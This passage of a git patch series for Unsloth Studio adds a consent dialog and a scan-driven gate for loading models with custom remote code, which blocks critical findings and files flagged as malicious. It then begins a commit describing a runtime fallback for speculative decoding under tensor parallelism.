+    createdByScan: Boolean(data.created_by_scan),
+    // Fall back to the primary flag for an older backend.
+    scanCreatedRepos:
+      data.scan_created_repos ??
+      (data.created_by_scan ? [data.model_name ?? modelName] : []),
+    unsafeFiles,
+    securityBlocked: Boolean(data.security_blocked),
+  };
+}
+
+/** Decline cleanup: purge what the scan downloaded. Fire-and-forget; the backend only
+ *  removes a metadata-only cache entry it created (never weights, a loaded model, or a local path). */
+export async function discardRemoteCodeDownload(modelName: string): Promise<void> {
+  try {
+    await authFetch(`/api/models/discard-remote-code`, {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ model_name: modelName }),
+    });
+  } catch {
+    // Best-effort cleanup; ignore failures.
+  }
+}
diff --git a/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx b/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
new file mode 100644
index 0000000000..8f3616553b
--- /dev/null
+++ b/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
@@ -0,0 +1,290 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Badge } from "@/components/ui/badge";
+import { cn } from "@/lib/utils";
+import {
+  SecurityWarningIcon,
+  ShieldBanIcon,
+  SourceCodeSquareIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { severityTone } from "../lib/severity-tone";
+import { useRemoteCodeConsentDialogStore } from "../stores/remote-code-consent-dialog-store";
+import type {
+  RemoteCodeFinding,
+  RemoteCodeSeverity,
+  RemoteCodeSnippetRow,
+  UnsafeFile,
+} from "../types";
+
+function matchTone(severity: RemoteCodeSeverity | string): {
+  row: string;
+  span: string;
+} {
+  switch (severity) {
+    case "CRITICAL":
+    case "HIGH":
+      return {
+        row: "bg-red-500/10 border-l-2 border-red-500/60",
+        span: "bg-red-500/25 text-foreground",
+      };
+    case "MEDIUM":
+      return {
+        row: "bg-amber-500/10 border-l-2 border-amber-500/60",
+        span: "bg-amber-500/25 text-foreground",
+      };
+    default:
+      return {
+        row: "bg-muted border-l-2 border-border",
+        span: "bg-foreground/15 text-foreground",
+      };
+  }
+}
+
+function SnippetLine({
+  row,
+  severity,
+}: {
+  row: RemoteCodeSnippetRow;
+  severity: RemoteCodeSeverity;
+}) {
+  const tone = matchTone(severity);
+  const hasSpan =
+    row.isMatch &&
+    typeof row.matchStart === "number" &&
+    typeof row.matchEnd === "number" &&
+    row.matchEnd > row.matchStart;
+
+  let body;
+  if (hasSpan) {
+    const start = row.matchStart as number;
+    const end = row.matchEnd as number;
+    body = (
+      <>
+        {row.text.slice(0, start)}
+        <span className={cn("rounded-[3px] px-0.5 font-semibold", tone.span)}>
+          {row.text.slice(start, end)}
+        </span>
+        {row.text.slice(end)}
+      </>
+    );
+  } else {
+    body = row.text || " ";
+  }
+
+  return (
+    <div
+      className={cn(
+        "flex",
+        row.isMatch ? tone.row : "border-l-2 border-transparent",
+      )}
+    >
+      <span className="w-10 shrink-0 select-none pr-3 text-right tabular-nums text-muted-foreground/50">
+        {row.number}
+      </span>
+      <code
+        className={cn(
+          "whitespace-pre pr-3",
+          row.isMatch ? "text-foreground" : "text-muted-foreground",
+        )}
+      >
+        {body}
+      </code>
+    </div>
+  );
+}
+
+function UnsafeFileCard({ file }: { file: UnsafeFile }) {
+  return (
+    <div className="flex flex-wrap items-center gap-x-2 gap-y-1 rounded-lg border bg-muted/40 px-3 py-2">
+      <Badge
+        variant="outline"
+        className={cn(
+          "shrink-0 text-[10px] font-semibold uppercase tracking-wide",
+          severityTone("CRITICAL"),
+        )}
+      >
+        {file.level}
+      </Badge>
+      <span className="flex min-w-0 items-center gap-1 font-mono text-xs text-muted-foreground">
+        <HugeiconsIcon icon={SourceCodeSquareIcon} className="size-3.5 shrink-0" />
+        <span className="truncate">{file.path}</span>
+      </span>
+    </div>
+  );
+}
+
+function FindingCard({ finding }: { finding: RemoteCodeFinding }) {
+  const fileLabel = finding.line ? `${finding.file}:${finding.line}` : finding.file;
+  const snippet = finding.snippet ?? [];
+  return (
+    <div className="min-w-0 overflow-hidden rounded-lg border">
+      <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-b bg-muted/40 px-3 py-2">
+        <Badge
+          variant="outline"
+          className={cn(
+            "shrink-0 text-[10px] font-semibold tracking-wide",
+            severityTone(finding.severity),
+          )}
+        >
+          {finding.severity}
+        </Badge>
+        <span className="text-sm font-medium">{finding.check}</span>
+        <span className="ml-auto flex shrink-0 items-center gap-1 font-mono text-xs text-muted-foreground">
+          <HugeiconsIcon icon={SourceCodeSquareIcon} className="size-3.5" />
+          {fileLabel}
+        </span>
+      </div>
+      {snippet.length > 0 ? (
+        <div className="min-w-0 overflow-x-auto bg-background py-2 font-mono text-xs leading-relaxed">
+          {snippet.map((row) => (
+            <SnippetLine key={row.number} row={row} severity={finding.severity} />
+          ))}
+        </div>
+      ) : finding.evidence ? (
+        <div className="px-3 py-2 font-mono text-xs text-muted-foreground">
+          {finding.evidence}
+        </div>
+      ) : null}
+    </div>
+  );
+}
+
+/** App-wide consent dialog for trust_remote_code loads: shows scan findings with the
+ *  flagged code in context; CRITICAL is a hard block. Mounted once in the root layout. */
+export function RemoteCodeConsentDialog() {
+  const open = useRemoteCodeConsentDialogStore((s) => s.open);
+  const scan = useRemoteCodeConsentDialogStore((s) => s.scan);
+  const resolve = useRemoteCodeConsentDialogStore((s) => s.resolve);
+
+  const displayName = scan?.modelName?.split("/").pop() || "This model";
+  const blocked = scan ? !scan.approvable : false;
+  const findings = scan?.findings ?? [];
+  const unsafeFiles = scan?.unsafeFiles ?? [];
+  // Malware (an HF-flagged unsafe serialized file) is a hard block with its own copy.
+  const malware = unsafeFiles.length > 0;
+
+  return (
+    <AlertDialog
+      open={open}
+      onOpenChange={(next) => {
+        if (!next) resolve(false);
+      }}
+    >
+      <AlertDialogContent className="max-w-2xl">
+        <AlertDialogHeader className="min-w-0">
+          {/* w-full: AlertDialogHeader is a grid with place-items-center, which
+              otherwise sizes this row to its content and lets a wide code snippet
+              push past the dialog. Filling the track keeps everything inside. */}
+          <div className="flex w-full min-w-0 items-start gap-3">
+            <div
+              className={cn(
+                "flex size-9 shrink-0 items-center justify-center rounded-full",
+                blocked
+                  ? "bg-red-500/10 text-red-600 dark:text-red-400"
+                  : "bg-amber-500/10 text-amber-600 dark:text-amber-400",
+              )}
+            >
+              <HugeiconsIcon
+                icon={blocked ? ShieldBanIcon : SecurityWarningIcon}
+                className="size-5"
+              />
+            </div>
+            {/* Title, description and scan results share one column to the right
+                of the icon, so the body aligns under the title instead of jumping
+                back to the dialog's left padding. */}
+            <div className="min-w-0 flex-1 space-y-3">
+              <div className="space-y-1">
+                <AlertDialogTitle>
+                  {malware
+                    ? "Unsafe files detected"
+                    : blocked
+                      ? "Custom code blocked"
+                      : "Enable custom code for this model?"}
+                </AlertDialogTitle>
+                <AlertDialogDescription>
+                  {malware ? (
+                    <>
+                      <span className="font-medium text-foreground">
+                        {displayName}
+                      </span>{" "}
+                      contains files that Hugging Face's security scan flagged as
+                      unsafe (for example, a malicious pickle that would run code
+                      when the model loads). It cannot be loaded. The flagged
+                      files were never downloaded.
+                    </>
+                  ) : (
+                    <>
+                      <span className="font-medium text-foreground">
+                        {displayName}
+                      </span>{" "}
+                      declares custom Python code in its repository.{" "}
+                      {blocked
+                        ? "A security scan flagged CRITICAL issues, so it cannot be enabled."
+                        : findings.length > 0
+                          ? "Review the security scan below. Continue only if you trust the model source."
+                          : "Continue only if you trust the model source."}
+                    </>
+                  )}
+                </AlertDialogDescription>
+              </div>
+
+              {malware ? (
+                <div className="min-w-0 space-y-2">
+                  <p className="text-xs font-medium text-muted-foreground">
+                    Our automatic scanner flagged issues including:
+                  </p>
+                  <div className="max-h-[14rem] min-w-0 space-y-2 overflow-y-auto pr-1">
+                    {unsafeFiles.map((f, i) => (
+                      <UnsafeFileCard key={`${f.path}-${i}`} file={f} />
+                    ))}
+                  </div>
+                </div>
+              ) : null}
+
+              {findings.length > 0 ? (
+                <div className="min-w-0 space-y-2">
+                  <p className="text-xs font-medium text-muted-foreground">
+                    Our automatic scanner flagged issues including:
+                  </p>
+                  <div className="max-h-[22rem] min-w-0 space-y-3 overflow-y-auto pr-1">
+                    {findings.map((f, i) => (
+                      <FindingCard key={i} finding={f} />
+                    ))}
+                  </div>
+                </div>
+              ) : null}
+
+              {!malware && !blocked && findings.length === 0 ? (
+                <p className="text-xs text-muted-foreground">
+                  Our automatic scanner did not flag any worrying files, but
+                  please double check.
+                </p>
+              ) : null}
+            </div>
+          </div>
+        </AlertDialogHeader>
+
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          {blocked ? null : (
+            <AlertDialogAction onClick={() => resolve(true)}>
+              Enable and continue
+            </AlertDialogAction>
+          )}
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
diff --git a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
new file mode 100644
index 0000000000..5e59ec5214
--- /dev/null
+++ b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  discardRemoteCodeDownload,
+  getRemoteCodeScan,
+} from "../api/remote-code-api";
+import { useRemoteCodeConsentDialogStore } from "../stores/remote-code-consent-dialog-store";
+import type { RemoteCodeScan } from "../types";
+
+interface ConfirmArgs {
+  modelName: string;
+  // Resolves the same findings + fingerprint for gated/private repos.
+  hfToken?: string | null;
+  // Coarse fallback when the scan endpoint is unreachable.
+  requiresTrustRemoteCode?: boolean;
+  // Called on approval with the pinning fingerprint.
+  onApprove: (fingerprint: string | null) => void;
+}
+
+/** Gate a load that may need trust_remote_code: scan, show the consent dialog, and on
+ *  approval call onApprove with the pinning fingerprint. Returns false if declined. */
+export async function confirmRemoteCodeIfNeeded({
+  modelName,
+  hfToken,
+  requiresTrustRemoteCode,
+  onApprove,
+}: ConfirmArgs): Promise<boolean> {
+  let scan: RemoteCodeScan;
+  try {
+    scan = await getRemoteCodeScan(modelName, hfToken);
+  } catch {
+    scan = {
+      requiresTrustRemoteCode: Boolean(requiresTrustRemoteCode),
+      approvable: true,
+      maxSeverity: null,
+      fingerprint: null,
+      findings: [],
+      findingsSummary: "",
+      modelName,
+      createdByScan: false,
+      scanCreatedRepos: [],
+      unsafeFiles: [],
+      securityBlocked: false,
+    };
+  }
+
+  // Open the dialog for custom-code consent OR flagged unsafe files. Otherwise a model
+  // can still need trust_remote_code via its YAML default (no auto_map, e.g. GLM-4.7-Flash):
+  // propagate the caller's requirement with an empty pin instead of sending false.
+  if (!scan.requiresTrustRemoteCode && scan.unsafeFiles.length === 0) {
+    if (requiresTrustRemoteCode) onApprove(null);
+    return true;
+  }
+
+  const confirmed = await useRemoteCodeConsentDialogStore
+    .getState()
+    .requestConsent(scan);
+  if (!confirmed) {
+    // Declined: purge every repo our scan first downloaded (a LoRA scan pulls adapter +
+    // base) so untrusted code is not left on disk. Fall back to the primary flag for an older backend.
+    const toPurge =
+      scan.scanCreatedRepos.length > 0
+        ? scan.scanCreatedRepos
+        : scan.createdByScan
+          ? [scan.modelName]
+          : [];
+    for (const repo of toPurge) void discardRemoteCodeDownload(repo);
+    return false;
+  }
+  onApprove(scan.fingerprint);
+  return true;
+}
diff --git a/studio/frontend/src/features/security/index.ts b/studio/frontend/src/features/security/index.ts
new file mode 100644
index 0000000000..4955d0703a
--- /dev/null
+++ b/studio/frontend/src/features/security/index.ts
@@ -0,0 +1,8 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export { RemoteCodeConsentDialog } from "./components/remote-code-consent-dialog";
+export { confirmRemoteCodeIfNeeded } from "./hooks/use-remote-code-consent";
+export { getRemoteCodeScan } from "./api/remote-code-api";
+export { useRemoteCodeConsentDialogStore } from "./stores/remote-code-consent-dialog-store";
+export type { RemoteCodeFinding, RemoteCodeScan, RemoteCodeSeverity } from "./types";
diff --git a/studio/frontend/src/features/security/lib/severity-tone.ts b/studio/frontend/src/features/security/lib/severity-tone.ts
new file mode 100644
index 0000000000..9807e07277
--- /dev/null
+++ b/studio/frontend/src/features/security/lib/severity-tone.ts
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { RemoteCodeSeverity } from "../types";
+
+/** Tailwind classes for a severity badge. */
+export function severityTone(severity: RemoteCodeSeverity | string): string {
+  switch (severity) {
+    case "CRITICAL":
+    case "HIGH":
+      return "border-red-500/30 text-red-700 dark:text-red-300";
+    case "MEDIUM":
+      return "border-amber-500/30 text-amber-700 dark:text-amber-300";
+    default:
+      return "border-border text-muted-foreground";
+  }
+}
diff --git a/studio/frontend/src/features/security/stores/remote-code-consent-dialog-store.ts b/studio/frontend/src/features/security/stores/remote-code-consent-dialog-store.ts
new file mode 100644
index 0000000000..06f0ef75a2
--- /dev/null
+++ b/studio/frontend/src/features/security/stores/remote-code-consent-dialog-store.ts
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import type { RemoteCodeScan } from "../types";
+
+type Resolver = (confirmed: boolean) => void;
+
+// One in-flight consent at a time; a new request resolves any prior pending one as
+// declined so its promise never leaks.
+let pendingResolver: Resolver | null = null;
+
+interface RemoteCodeConsentDialogStore {
+  open: boolean;
+  scan: RemoteCodeScan | null;
+  requestConsent: (scan: RemoteCodeScan) => Promise<boolean>;
+  resolve: (confirmed: boolean) => void;
+}
+
+export const useRemoteCodeConsentDialogStore = create<RemoteCodeConsentDialogStore>()(
+  (set) => ({
+    open: false,
+    scan: null,
+    requestConsent: (scan) =>
+      new Promise<boolean>((resolve) => {
+        pendingResolver?.(false);
+        pendingResolver = resolve;
+        set({ open: true, scan });
+      }),
+    resolve: (confirmed) => {
+      const resolver = pendingResolver;
+      pendingResolver = null;
+      set({ open: false, scan: null });
+      resolver?.(confirmed);
+    },
+  }),
+);
diff --git a/studio/frontend/src/features/security/types.ts b/studio/frontend/src/features/security/types.ts
new file mode 100644
index 0000000000..f11dbdd38b
--- /dev/null
+++ b/studio/frontend/src/features/security/types.ts
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export type RemoteCodeSeverity = "CRITICAL" | "HIGH" | "MEDIUM" | "LOW";
+
+/** One line of the code window shown for a finding. */
+export interface RemoteCodeSnippetRow {
+  number: number; // 1-based source line
+  text: string;
+  isMatch: boolean; // the flagged line
+  matchStart?: number; // match column span, when known
+  matchEnd?: number;
+}
+
+export interface RemoteCodeFinding {
+  severity: RemoteCodeSeverity;
+  file: string;
+  check: string;
+  evidence?: string;
+  line?: number | null; // 1-based
+  snippet?: RemoteCodeSnippetRow[];
+}
+
+/** A repo file Hugging Face's security scan flagged (e.g. a malicious pickle). */
+export interface UnsafeFile {
+  path: string;
+  level: string; // HF level: unsafe | suspicious | malicious
+}
+
+/** Backend remote-code scan result; drives the consent dialog and pins approval to the scanned code version. */
+export interface RemoteCodeScan {
+  requiresTrustRemoteCode: boolean;
+  approvable: boolean; // false for CRITICAL (no override)
+  maxSeverity: RemoteCodeSeverity | null;
+  fingerprint: string | null;
+  findings: RemoteCodeFinding[];
+  findingsSummary: string;
+  modelName: string;
+  // True when our scan first downloaded this repo, so a decline may purge it.
+  createdByScan: boolean;
+  // Every repo the scan first cached (a LoRA scan pulls adapter + base); a decline
+  // purges each. Supersedes createdByScan, which tracks only the primary.
+  scanCreatedRepos: string[];
+  unsafeFiles: UnsafeFile[]; // files HF flagged unsafe; non-empty => hard block
+  securityBlocked: boolean; // blocked specifically by the malware gate
+}
diff --git a/studio/frontend/src/features/training/api/mappers.ts b/studio/frontend/src/features/training/api/mappers.ts
index 773c5581ae..9f9df8f227 100644
--- a/studio/frontend/src/features/training/api/mappers.ts
+++ b/studio/frontend/src/features/training/api/mappers.ts
@@ -82,6 +82,7 @@ export function buildTrainingStartPayload(
         ? config.visionImageSize
         : null,
     trust_remote_code: config.trustRemoteCode ?? false,
+    approved_remote_code_fingerprint: config.approvedRemoteCodeFingerprint ?? null,
     hf_dataset: hfDataset,
     subset: hfDataset ? config.datasetSubset : null,
     train_split: hfDataset ? config.datasetSplit : null,
diff --git a/studio/frontend/src/features/training/api/models-api.ts b/studio/frontend/src/features/training/api/models-api.ts
index 1e9a135fd3..e5fd8b043d 100644
--- a/studio/frontend/src/features/training/api/models-api.ts
+++ b/studio/frontend/src/features/training/api/models-api.ts
@@ -92,10 +92,14 @@ interface LocalModelListResponse {
   models: LocalModelInfo[];
 }
 
-/** Ask the backend whether a model is a vision model (GET /api/models/check-vision/{model_name}). */
-export async function checkVisionModel(modelName: string): Promise<boolean> {
+/** GET /api/models/check-vision; pass the token so a gated/private VLM is not misread as non-vision. */
+export async function checkVisionModel(
+  modelName: string,
+  hfToken?: string | null,
+): Promise<boolean> {
   const encoded = encodeURIComponent(modelName);
-  const response = await authFetch(`/api/models/check-vision/${encoded}`);
+  const query = hfToken?.trim() ? `?hf_token=${encodeURIComponent(hfToken.trim())}` : "";
+  const response = await authFetch(`/api/models/check-vision/${encoded}${query}`);
   if (!response.ok) {
     // If the check fails (e.g. network error), default to non-vision
     return false;
@@ -104,12 +108,14 @@ export async function checkVisionModel(modelName: string): Promise<boolean> {
   return data.is_vision;
 }
 
-/** Ask the backend whether a model is an embedding model (GET /api/models/check-embedding/{model_name}). */
+/** GET /api/models/check-embedding; pass the token for gated/private repos. */
 export async function checkEmbeddingModel(
   modelName: string,
+  hfToken?: string | null,
 ): Promise<boolean> {
   const encoded = encodeURIComponent(modelName);
-  const response = await authFetch(`/api/models/check-embedding/${encoded}`);
+  const query = hfToken?.trim() ? `?hf_token=${encodeURIComponent(hfToken.trim())}` : "";
+  const response = await authFetch(`/api/models/check-embedding/${encoded}${query}`);
   if (!response.ok) {
     // If the check fails (e.g. network error), default to non-embedding
     return false;
diff --git a/studio/frontend/src/features/training/hooks/use-training-actions.ts b/studio/frontend/src/features/training/hooks/use-training-actions.ts
index 8069ff9bbf..3dec8d3a32 100644
--- a/studio/frontend/src/features/training/hooks/use-training-actions.ts
+++ b/studio/frontend/src/features/training/hooks/use-training-actions.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { primeNativeNotificationPermission } from "@/lib/native-notifications";
+import { confirmRemoteCodeIfNeeded } from "@/features/security";
 import { useCallback } from "react";
 import { toast } from "@/lib/toast";
 import { checkDatasetFormat } from "../api/datasets-api";
@@ -127,6 +128,24 @@ export function useTrainingActions() {
         return false;
       }
 
+      // Consent gate for the selected model's custom (auto_map) code.
+      if (config.selectedModel) {
+        const remoteCodeOk = await confirmRemoteCodeIfNeeded({
+          modelName: config.selectedModel,
+          hfToken: config.hfToken.trim() || null,
+          requiresTrustRemoteCode: config.trustRemoteCode,
+          onApprove: (fingerprint) =>
+            useTrainingConfigStore.setState({
+              trustRemoteCode: true,
+              approvedRemoteCodeFingerprint: fingerprint,
+            }),
+        });
+        if (!remoteCodeOk) {
+          runtimeStore.setStarting(false);
+          return false;
+        }
+      }
+
       // Re-read config after potential store updates from dataset check
       const payload = buildTrainingStartPayload(useTrainingConfigStore.getState());
       runtimeStore.setStartResources(payload.model_name, payload.hf_dataset, false);
@@ -199,6 +218,29 @@ export function useTrainingActions() {
 
       runtimeStore.setStartResources(payload.model_name, payload.hf_dataset, true);
 
+      // Resume goes straight to startTraining, so it runs the same consent gate as a
+      // fresh start; otherwise a resumed custom-code run hits the worker block with no dialog.
+      if (payload.model_name) {
+        let trustRemoteCode = Boolean(payload.trust_remote_code);
+        let approvedRemoteCodeFingerprint =
+          payload.approved_remote_code_fingerprint ?? null;
+        const remoteCodeOk = await confirmRemoteCodeIfNeeded({
+          modelName: payload.model_name,
+          hfToken: payload.hf_token ?? null,
+          requiresTrustRemoteCode: trustRemoteCode,
+          onApprove: (fingerprint) => {
+            trustRemoteCode = true;
+            approvedRemoteCodeFingerprint = fingerprint;
+          },
+        });
+        if (!remoteCodeOk) {
+          runtimeStore.setStarting(false);
+          return false;
+        }
+        payload.trust_remote_code = trustRemoteCode;
+        payload.approved_remote_code_fingerprint = approvedRemoteCodeFingerprint;
+      }
+
       const response = await startTraining(payload);
       if (response.status === "error") {
         throw new Error(response.error || response.message);
diff --git a/studio/frontend/src/features/training/stores/training-config-store.ts b/studio/frontend/src/features/training/stores/training-config-store.ts
index 75f23cf40e..7f0ad175b9 100644
--- a/studio/frontend/src/features/training/stores/training-config-store.ts
+++ b/studio/frontend/src/features/training/stores/training-config-store.ts
@@ -390,8 +390,8 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
               visionImageSize: DEFAULT_HYPERPARAMS.visionImageSize,
             });
 
-            // Fallback vision check if config endpoint fails.
-            void checkVisionModel(modelName)
+            // Fallback vision check; pass the token so a gated/private VLM classifies right.
+            void checkVisionModel(modelName, get().hfToken || undefined)
               .then((isVision) => {
                 if (get().selectedModel !== modelName) return;
                 set({
@@ -498,12 +498,23 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           const previousModel = get().selectedModel;
           // Reset vision_image_size on a true switch only; same-model reloads
           // go through the mapper, which preserves the user's choice.
-          const patch: { selectedModel: string | null; modelDefaultsError: null; visionImageSize?: number | null } = {
+          const patch: {
+            selectedModel: string | null;
+            modelDefaultsError: null;
+            visionImageSize?: number | null;
+            trustRemoteCode?: boolean;
+            approvedRemoteCodeFingerprint?: string | null;
+          } = {
             selectedModel,
             modelDefaultsError: null,
           };
           if (selectedModel !== previousModel) {
             patch.visionImageSize = DEFAULT_HYPERPARAMS.visionImageSize;
+            // Clear the prior model's approval so a clean model is not trained with a
+            // stale trust_remote_code=true (disables fused CE). Its own YAML default is
+            // re-applied below, and a custom-code model re-opens the dialog before start.
+            patch.trustRemoteCode = false;
+            patch.approvedRemoteCodeFingerprint = null;
           }
           set(patch);
 
diff --git a/studio/frontend/src/features/training/types/api.ts b/studio/frontend/src/features/training/types/api.ts
index b466276bc2..1d90a3647f 100644
--- a/studio/frontend/src/features/training/types/api.ts
+++ b/studio/frontend/src/features/training/types/api.ts
@@ -12,6 +12,8 @@ export interface TrainingStartRequest {
   vision_image_size?: number | null;
   /** Allow loading models with custom code. Only enable for repos you trust. */
   trust_remote_code?: boolean;
+  /** sha256 fingerprint pinning user approval of this exact custom-code version. */
+  approved_remote_code_fingerprint?: string | null;
   hf_dataset: string | null;
   subset: string | null;
   train_split: string | null;
diff --git a/studio/frontend/src/features/training/types/config.ts b/studio/frontend/src/features/training/types/config.ts
index 5ef1e2d13a..68ede77d6e 100644
--- a/studio/frontend/src/features/training/types/config.ts
+++ b/studio/frontend/src/features/training/types/config.ts
@@ -77,6 +77,7 @@ export interface TrainingConfigState {
   isDatasetImage: boolean | null;
   isDatasetAudio: boolean;
   trustRemoteCode: boolean;
+  approvedRemoteCodeFingerprint?: string | null;
   finetuneVisionLayers: boolean;
   finetuneLanguageLayers: boolean;
   finetuneAttentionModules: boolean;

From 3bfc83781dcceaaa6438c4c5b9e56a3a1b652c97 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 05:42:21 -0700
Subject: [PATCH 65/91] Runtime MTP fallback for tensor parallelism (try MTP,
 recover if it crashes) (#6324)

* Disable MTP speculative decoding under tensor parallelism

Follow-up to #6040 (Studio tensor-parallel support).

MTP-draft speculative decoding plus --split-mode tensor crashes the CUDA
flash-attn kernel at decode time. The startup /health probe only checks that
llama-server comes up, so the existing MTP-drop fallback (keyed on startup
health) never fires and the server dies on the first generation instead.

Gate MTP off when a tensor attempt actually engages: this runs before the
VRAM planner (so no drafter memory is reserved) and before the speculative
flag build (so no --model-draft / --spec-type is emitted). Ngram modes use no
draft model and are kept, and mtp+ngram degrades to ngram rather than off. The
layer-split fallback re-runs with tensor_parallel False and restores MTP.

The reason is surfaced as spec_fallback_reason "tensor_parallel" so the
settings sheet explains why MTP is off instead of prompting a llama.cpp update.

Verified on unsloth/gemma-4-26B-A4B-it-GGUF:UD-Q4_K_XL across 4x B200: the
load now emits --split-mode tensor with no MTP flags and generation completes
without the prior decode crash.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make tensor-parallel MTP gate test format-independent

The assertion pinned the multi-line `speculative_type = (` form, but ruff
collapses it onto one line, so match `speculative_type =` instead.

* Recover from MTP+tensor-parallel crashes at runtime instead of banning MTP

MTP-draft speculative decoding under --split-mode tensor usually works, but can
crash llama-server's CUDA flash-attn kernel at decode time (the prompt-cache
checkpoint-restore path). The earlier fix statically disabled MTP whenever
tensor parallelism was on, which is not future-proof and gives up the MTP
speedup even though it normally works.

Replace the static ban with a try/recover, mirroring the existing load-time
MTP-drop fallback:

- Load-time decode probe: after the server passes /health under tensor +
  MTP, run one tiny /completion to exercise the draft path. A failure flips
  the load unhealthy so the existing fallback respawns with --spec-default.
  Catches a hard incompatibility that crashes on the first decode.

- Generation-time recovery: snapshot the load kwargs after a healthy load,
  and if llama-server exits mid-generation while MTP + tensor parallelism were
  active, quietly reload the same model with speculative decoding off (one
  single-flight background reload) and surface spec_fallback_reason=runtime_error.
  Catches the rare mid-generation crash the probe and load-time fallback miss.

No persistent ban: a later fresh load re-tries MTP, so this self-heals if a
future llama.cpp supports the combo. Verified on gemma-4-26B-A4B + 4x B200:
MTP runs normally, and killing llama-server mid-generation reloads it without
MTP and serves the next request cleanly.

* Address review feedback on the MTP runtime fallback

- Authenticate the decode probe: direct-stream mode runs llama-server with
  --api-key, so the unauthenticated /completion probe got a 401 and falsely
  dropped MTP. Attach the same bearer auth the other internal requests use.
- Re-check the cancel flag inside the recovery thread after the death poll,
  so an /unload that races the reload can't resurrect the dropped model.
- Schedule the no-MTP recovery on the connection-error paths it was missing:
  generate_chat_completion's ConnectError branch, the OpenAI passthrough
  typed (RemoteProtocolError/ReadError/CloseError) stream catch, and the
  Anthropic passthrough generic stream catch. Previously a server that died
  before reconnect, or a typed mid-stream error, skipped the reload.

* Cover every request path with the MTP+tensor crash recovery via a watchdog

The runtime MTP-crash recovery only fired from request handlers that
observed the failure, so the direct llama-server proxy endpoints
(/v1/completions, /v1/responses, the OpenAI/Anthropic passthrough
transports) -- and a crash with no request in flight -- could leave a
dead server. Add a single background watchdog, armed only on a healthy
MTP + tensor-parallel load, that polls the subprocess and routes an
unexpected death into the existing single-flight no-MTP reload. It is
stopped inside _kill_process (the one deliberate-termination chokepoint)
so a planned reload/unload is never mistaken for a crash, and re-checks
the stop flag after a detected exit to close the kill-vs-poll race. The
reload turns MTP off, so the replacement server arms no watchdog and the
fallback cannot loop; a later fresh load still re-tries MTP.

* Harden MTP+tensor crash recovery: stale-load race, pass-through MTP, requested mode

Address review findings on the runtime MTP-crash recovery:

- Stale-load race: the recovery thread snapshotted the crashed load, waited up
  to 5s for the process to confirm dead, then only checked the cancel flag
  before replaying load_model. A concurrent user load clears that flag, so the
  stale snapshot could reload the old model over the user's new one. Make the
  load lock re-entrant and run the staleness check (cancel + same process +
  unchanged snapshot) under it, atomically with the reload.

- Pass-through MTP: MTP can also be requested via a user --spec-type in
  extra_args or LLAMA_ARG_SPEC_TYPE, where Studio emits no spec flags and
  _speculative_type stays unset, so the probe/watchdog/recovery never engaged.
  Track _mtp_runtime_fallback_active from the actual launched config and gate on
  it; on the no-MTP reload, append a last-wins --spec-default so the replay drops
  MTP regardless of source (and the load-time fallback does the same).

- Requested mode: the off-reload reset _requested_spec_mode to off, so after a
  status refresh the UI showed a bare Off with the runtime-error note suppressed
  and would not retry MTP. Restore the original requested mode after the reload,
  matching the startup MTP fallback.

- Snapshot the extra_args list by value so a caller mutating it cannot corrupt
  the recovery snapshot.

Tests: test_tensor_parallel.py + test_llama_server_args.py green (303 passed).

* Trim verbose comments in the MTP+tensor crash recovery

Tighten the docstrings and inline comments added for the runtime MTP recovery
(watchdog, probe, reload, gating) to succinct one/two-line forms; no code
change (verified comment-only).

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py   | 228 ++++++++++-
 studio/backend/routes/inference.py           |  11 +-
 studio/backend/tests/test_tensor_parallel.py | 394 +++++++++++++++++++
 3 files changed, 627 insertions(+), 6 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 062944264a..e7030b77ce 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1213,8 +1213,9 @@ class LlamaCppBackend:
         self._nextn_predict_layers: Optional[int] = None
